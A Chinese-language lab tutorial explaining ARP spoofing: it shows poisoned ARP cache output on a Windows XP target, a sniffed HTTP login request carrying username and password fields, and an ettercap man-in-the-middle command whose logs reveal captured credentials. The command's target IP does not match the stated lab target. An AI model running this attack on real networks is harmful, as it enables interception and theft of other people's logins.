ARP:
地址解析协议,根据IP地址查询MAC物理地址,以便进行物理网络通信。
ARP原理:
A电脑192.168.1.2想与B电脑192.168.1.3通信,网络通信必需知道对方的MAC物理地址才可以传输数据,所以A电脑在网络上广播说:IP地址是192.168.1.3是谁,把你的MAC物理地址告诉我。不是B的电脑收到广播后发现跟自己无关,就不回话,只有B电脑进行回话告诉A自己的MAC物理地址。
ARP欺骗原理:
C电脑192.168.1.7,MAC地址为xx.xx在网络上广播撒谎说:我的IP是192.168.1.1,我的MAC物理地址是xx.xx,收到消息的电脑都记住了这种假信息(存留在ARP缓存表里),从此以后发送给192.168.1.1的数据都会发给MAC地址xx.xx(192.168.1.7)C电脑了。
攻击原理:一般家庭里电脑上网都会将数据发送给网关(路由器),如果让目标靶机电脑上的ARP缓存错误的存为攻击机的信息,攻击机就可以伪装成网关,这样目标靶机所有数据都会发给攻击机,实现劫持。
网关:192.168.1.1 (路由器)
靶机:192.168.1.8 (Windows XP)
攻击机:192.168.1.7(Linux)
查看靶机ARP缓存信息:
C:\Documents and Settings\Administrator>arp -a
Interface: 192.168.1.8 --- 0x2
Internet Address Physical Address Type
192.168.1.1 ec-xx-xx-xx-xx-3f dynamic
开机攻击:
C:\Documents and Settings\Administrator>arp -a
Interface: 192.168.1.8 --- 0x2
Internet Address Physical Address Type
192.168.1.1 08-xx-xx-xx-xx-5e dynamic
192.168.1.7 08-xx-xx-xx-xx-5e dynamic
到查看靶机的图片
C:\Documents and Settings\Administrator>arp -a
Interface: 192.168.1.8 --- 0x2
Internet Address Physical Address Type
192.168.1.1 ec-xx-xx-xx-xx-3f dynamic
嗅探靶机http网络账号密码:
POST /login.php?nowtime=1545925967777&verify=fba67eef HTTP/1.1.
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*.
Referer: http://www.xxx.com/thread.php?fid=38.
Accept-Language: zh-cn.
Content-Type: application/x-www-form-urlencoded.
UA-CPU: x86.
Accept-Encoding: gzip, deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2).
Host: www.xxx.com.
Content-Length: 109.
Connection: Keep-Alive.
Cache-Control: no-cache.
Cookie: dd452_lastvisit=1769%091545925789%09%2Flogin.php%3Fnowtime1545925789701%26verifyfba67eef; dd452_lastpos=other; dd452_ol_offset=11543; dd452_ipstate=1545924020; _ac_app_ua=8a8f4074b5cc6c0ef5; dd452_cloudClientUid=5450535; dd452_threadlog=%2C38%2C..
jumpurl=http%3A%2F%2Fwww.xxx.com%2Fthread.php%3Ffid%3D38&step=2&ajax=1&pwuser=aaaaaaa&pwpwd=bbbbbbb&lgt=0
使用命令行:
攻击命令:
sudo ettercap -Tqi en0 -M arp:remote /192.168.1.4// /192.168.1.1// -l /tmp/log
会在/tmp下生成log.eci与log.ecp的文件,直接用etterlog就可以查看
etterlog log.ecp